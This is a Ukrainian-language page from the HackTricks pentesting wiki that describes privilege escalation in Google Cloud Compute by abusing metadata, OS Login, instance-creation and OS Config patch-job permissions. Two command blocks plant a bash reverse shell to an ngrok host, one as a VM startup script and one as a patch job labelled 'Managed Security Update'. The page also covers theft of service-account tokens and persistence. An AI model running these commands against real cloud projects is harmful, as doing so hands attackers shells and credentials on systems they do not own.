GCP - Compute Privesc

Support HackTricks

Compute

Для отримання додаткової інформації про Compute та VPC (мережу) в GCP перевірте:

GCP - Compute Enum

Зверніть увагу, що для виконання всіх атак підвищення привілеїв, які вимагають зміни метаданих екземпляра (наприклад, додавання нових користувачів та SSH ключів), необхідно, щоб у вас були права actAs на SA, прикріплену до екземпляра, навіть якщо SA вже прикріплена!

compute.projects.setCommonInstanceMetadata

З цим дозволом ви можете модифікувати інформацію про метадані екземпляра та змінювати авторизовані ключі користувача, або створити нового користувача з правами sudo. Таким чином, ви зможете виконати SSH в будь-який екземпляр VM і вкрасти GCP Service Account, з яким працює екземпляр. Обмеження:

  • Зверніть увагу, що GCP Service Accounts, які працюють в екземплярах VM за замовчуванням, мають дуже обмежений обсяг

  • Вам потрібно буде мати можливість зв'язатися з SSH сервером для входу

Для отримання додаткової інформації про те, як експлуатувати цей дозвіл, перевірте:

GCP - Add Custom SSH Metadata

Ви також можете виконати цю атаку, додавши новий стартовий скрипт і перезавантаживши екземпляр:

gcloud compute instances add-metadata my-vm-instance \
--metadata startup-script='#!/bin/bash
bash -i >& /dev/tcp/0.tcp.eu.ngrok.io/18347 0>&1 &'

gcloud compute instances reset my-vm-instance

compute.instances.setMetadata

Ця дозволяє надає ті ж привілеї, що й попереднє дозволу, але для конкретних екземплярів, а не для всього проекту. Ті ж експлойти та обмеження, що й для попереднього розділу, застосовуються.

compute.instances.setIamPolicy

Цей вид дозволу дозволить вам наділити себе роллю з попередніми дозволами та ескалувати привілеї, зловживаючи ними.

compute.instances.osLogin

Якщо OSLogin увімкнено в екземплярі, з цим дозволом ви можете просто виконати gcloud compute ssh [INSTANCE] та підключитися до екземпляра. Ви не матимете root привілеїв всередині екземпляра.

Щоб успішно увійти з цим дозволом всередині VM екземпляра, вам потрібно мати дозвіл iam.serviceAccounts.actAs на SA, прикріплену до VM.

compute.instances.osAdminLogin

Якщо OSLogin увімкнено в екземплярі, з цим дозволом ви можете просто виконати gcloud compute ssh [INSTANCE] та підключитися до екземпляра. Ви матимете root привілеї всередині екземпляра.

Щоб успішно увійти з цим дозволом всередині VM екземпляра, вам потрібно мати дозвіл iam.serviceAccounts.actAs на SA, прикріплену до VM.

compute.instances.create,iam.serviceAccounts.actAs, compute.disks.create, compute.instances.create, compute.instances.setMetadata, compute.instances.setServiceAccount, compute.subnetworks.use, compute.subnetworks.useExternalIp

Можливо створити віртуальну машину з призначеним обліковим записом служби та вкрасти токен облікового запису служби, отримуючи доступ до метаданих для ескалації привілеїв до нього.

Скрипт експлойту для цього методу можна знайти тут.

osconfig.patchDeployments.create | osconfig.patchJobs.exec

Якщо у вас є osconfig.patchDeployments.create або osconfig.patchJobs.exec дозволи, ви можете створити роботу з патчами або розгортання. Це дозволить вам переміщатися в середовищі та отримати виконання коду на всіх обчислювальних екземплярах у проекті.

Зверніть увагу, що на даний момент вам не потрібен дозвіл actAs на SA, прикріплену до екземпляра.

Якщо ви хочете вручну експлуатувати це, вам потрібно створити або роботу з патчами або розгортання. Для роботи з патчами виконайте:

cat > /tmp/patch-job.sh <<EOF
#!/bin/bash
bash -i >& /dev/tcp/0.tcp.eu.ngrok.io/18442 0>&1
EOF

gsutil cp /tmp/patch-job.sh gs://readable-bucket-by-sa-in-instance/patch-job.sh

# Get the generation number
gsutil ls -a gs://readable-bucket-by-sa-in-instance

gcloud --project=$PROJECT_ID compute os-config patch-jobs execute \
--instance-filter-names=zones/us-central1-a/instances/<instance-name> \
--pre-patch-linux-executable=gs://readable-bucket-by-sa-in-instance/patch-job.sh#<generation-number> \
--reboot-config=never \
--display-name="Managed Security Update" \
--duration=300s

Щоб розгорнути патч-розгортання:

gcloud compute os-config patch-deployments create <name> ...

The tool patchy міг бути використаний у минулому для експлуатації цієї неконфігурації (але зараз він не працює).

Зловмисник також може зловживати цим для постійності.

compute.machineImages.setIamPolicy

Надайте собі додаткові дозволи на образи обчислень.

compute.snapshots.setIamPolicy

Надайте собі додаткові дозволи на знімок диска.

compute.disks.setIamPolicy

Надайте собі додаткові дозволи на диск.

Обхід доступу до обсягів

Слідуючи за цим посиланням, ви знайдете деякі ідеї для спроби обійти доступ до обсягів.

Локальне підвищення привілеїв у GCP Compute інстансі

GCP - local privilege escalation ssh pivoting

Посилання

Support HackTricks

Last updated